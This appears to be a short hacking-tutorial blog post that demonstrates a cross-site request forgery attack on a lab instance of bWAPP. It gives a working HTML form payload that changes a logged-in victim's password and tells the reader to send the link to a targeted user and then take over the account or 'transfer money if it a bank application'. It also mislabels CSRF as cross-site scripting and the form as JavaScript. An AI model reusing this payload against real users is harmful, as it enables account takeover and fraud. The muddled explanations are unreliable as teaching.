What is CSRF attack ? ✊
Impact : Stealing Password / Changing credentials existing logged user
How it will be done?
1. I am simulating this scenario in my internal Lab setup.
2. I have already setup which is vulnerable to CSRF( cross site scripting request forgery )
3.First create the New user , i have created for testing purpose as username raj and password as test@xxxx
4.Try to login with created account, remember this user password was test@xxx
5.Now test that web app is really vulnerable for XSS attacks , i found by simple script that it was vulnerable to XSS reflected attack.
6. Now we know webapplication is vulnerable and target the user whom we want to attack.
Note : User must be already logged in that webapplication
7.Now i am writing simple java script that will be executed from browser end and executes when ever user click on it.
<form action="http://192.168.56.103/bWAPP/csrf_1.php" method="GET">
<p><label for="password_new">New password:</label><br />
<input type="password" id="password_new" name="password_new" value="nasagoni"></p>
<p><label for="password_conf">Re-type new password:</label><br />
<input type="password" id="password_conf" name="password_conf" value="nasagoni"></p> <button type="submit" name="action" value="change">Change</button>
</form>
8.Send the above link to targeted user .(in values feild keep which password you want to keep )
9. Thats all when ever user click it will be redirected to our script page executes , now user password gets changed (as you kept in user value feild)
10. See below screen says password get changed
11.Now you can do chnages to Raj account , transfer money if it a bank application :-)
12👐👐✊✊✊✊.Hope you now familiar with this attack
Happy Hacking :0
No comments:
Post a Comment